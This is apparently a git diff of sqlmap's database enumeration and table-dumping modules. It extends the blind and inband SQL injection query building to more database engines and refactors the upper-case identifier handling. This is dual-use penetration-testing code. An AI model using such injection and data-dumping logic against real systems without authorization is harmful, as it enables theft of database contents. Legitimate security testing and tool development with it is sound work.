||||
elif Backend.isDbms(DBMS.MONETDB):
|
||||
query = safeStringFormat(rootQuery.blind.query, (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), index))
|
||||
field = None
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE):
|
||||
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
|
||||
query += condQuery
|
||||
field = None
|
||||
@@ -821,7 +850,7 @@ class Databases(object):
|
||||
if conf.getComments:
|
||||
_ = queries[Backend.getIdentifiedDbms()].column_comment
|
||||
if hasattr(_, "query"):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
||||
if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
|
||||
query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper()))
|
||||
else:
|
||||
query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column))
|
||||
@@ -836,9 +865,9 @@ class Databases(object):
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
if not onlyColNames:
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO):
|
||||
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db))
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper()))
|
||||
elif Backend.isDbms(DBMS.MSSQL):
|
||||
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
|
||||
@@ -846,6 +875,8 @@ class Databases(object):
|
||||
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column)
|
||||
elif Backend.isDbms(DBMS.INFORMIX):
|
||||
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl), column)
|
||||
elif Backend.isDbms(DBMS.MONETDB):
|
||||
query = rootQuery.blind.query2 % (column, unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
|
||||
|
||||
colType = unArrayizeValue(inject.getValue(query, union=False, error=False))
|
||||
key = int(colType) if hasattr(colType, "isdigit") and colType.isdigit() else colType
|
||||
@@ -921,11 +952,11 @@ class Databases(object):
|
||||
if not db or not table:
|
||||
return None
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
||||
if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
|
||||
db = db.upper()
|
||||
table = table.upper()
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI):
|
||||
query = "SELECT %s FROM %s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(table, True))
|
||||
else:
|
||||
query = "SELECT %s FROM %s.%s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(table, True))
|
||||
@@ -953,7 +984,7 @@ class Databases(object):
|
||||
if not conf.db:
|
||||
conf.db, conf.tbl = conf.tbl.split('.', 1)
|
||||
|
||||
if conf.tbl is not None and conf.db is None and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
|
||||
if conf.tbl is not None and conf.db is None and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI):
|
||||
warnMsg = "missing database parameter. sqlmap is going to "
|
||||
warnMsg += "use the current database to retrieve the "
|
||||
warnMsg += "number of entries for table '%s'" % unsafeSQLIdentificatorNaming(conf.tbl)
|
||||
@@ -1013,7 +1044,7 @@ class Databases(object):
|
||||
errMsg = "unable to retrieve the number of statements"
|
||||
raise SqlmapNoneDataException(errMsg)
|
||||
|
||||
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
|
||||
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE)
|
||||
indexRange = getLimitRange(count, plusOne=plusOne)
|
||||
|
||||
for index in indexRange:
|
||||
|
||||
@@ -43,6 +43,7 @@ from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||
from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD
|
||||
from lib.core.settings import CURRENT_DB
|
||||
from lib.core.settings import NULL
|
||||
from lib.core.settings import UPPER_CASE_DBMSES
|
||||
from lib.request import inject
|
||||
from lib.utils.hash import attackDumpedTable
|
||||
from lib.utils.pivotdumptable import pivotDumpTable
|
||||
@@ -70,7 +71,7 @@ class Entries(object):
|
||||
conf.db = self.getCurrentDb()
|
||||
|
||||
elif conf.db is not None:
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
|
||||
if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
|
||||
conf.db = conf.db.upper()
|
||||
|
||||
if ',' in conf.db:
|
||||
@@ -86,7 +87,7 @@ class Entries(object):
|
||||
conf.db = safeSQLIdentificatorNaming(conf.db)
|
||||
|
||||
if conf.tbl:
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
|
||||
if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
|
||||
conf.tbl = conf.tbl.upper()
|
||||
|
||||
tblList = conf.tbl.split(',')
|
||||
@@ -176,9 +177,9 @@ class Entries(object):
|
||||
entries = []
|
||||
query = None
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||
query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.MCKOI):
|
||||
query = rootQuery.inband.query % (colString, tbl)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
|
||||
# Partial inband and error
|
||||
@@ -232,7 +233,7 @@ class Entries(object):
|
||||
entries = BigArray(_zip(*[entries[colName] for colName in colList]))
|
||||
else:
|
||||
query = rootQuery.inband.query % (colString, conf.db, tbl)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO):
|
||||
query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0])
|
||||
else:
|
||||
query = rootQuery.inband.query % (colString, conf.db, tbl)
|
||||
@@ -285,9 +286,9 @@ class Entries(object):
|
||||
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||
query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI):
|
||||
query = rootQuery.blind.count % tbl
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
|
||||
query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl))
|
||||
@@ -325,8 +326,8 @@ class Entries(object):
|
||||
|
||||
continue
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX):
|
||||
if Backend.isDbms(DBMS.ACCESS):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX, DBMS.MCKOI):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI):
|
||||
table = tbl
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
|
||||
table = "%s.%s" % (conf.db, tbl)
|
||||
@@ -380,7 +381,7 @@ class Entries(object):
|
||||
|
||||
else:
|
||||
emptyColumns = []
|
||||
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
|
||||
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE)
|
||||
indexRange = getLimitRange(count, plusOne=plusOne)
|
||||
|
||||
if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
|
||||
@@ -405,16 +406,20 @@ class Entries(object):
|
||||
if column not in entries:
|
||||
entries[column] = BigArray()
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), sorted(colList, key=len)[0], index)
|
||||
elif Backend.isDbms(DBMS.SQLITE):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)
|
||||
elif Backend.isDbms(DBMS.FIREBIRD):
|
||||
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)
|
||||
elif Backend.isDbms(DBMS.INFORMIX):
|
||||
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0])
|
||||
elif Backend.isDbms(DBMS.MONETDB):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index)
|
||||
|
||||
query = agent.whereQuery(query)
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user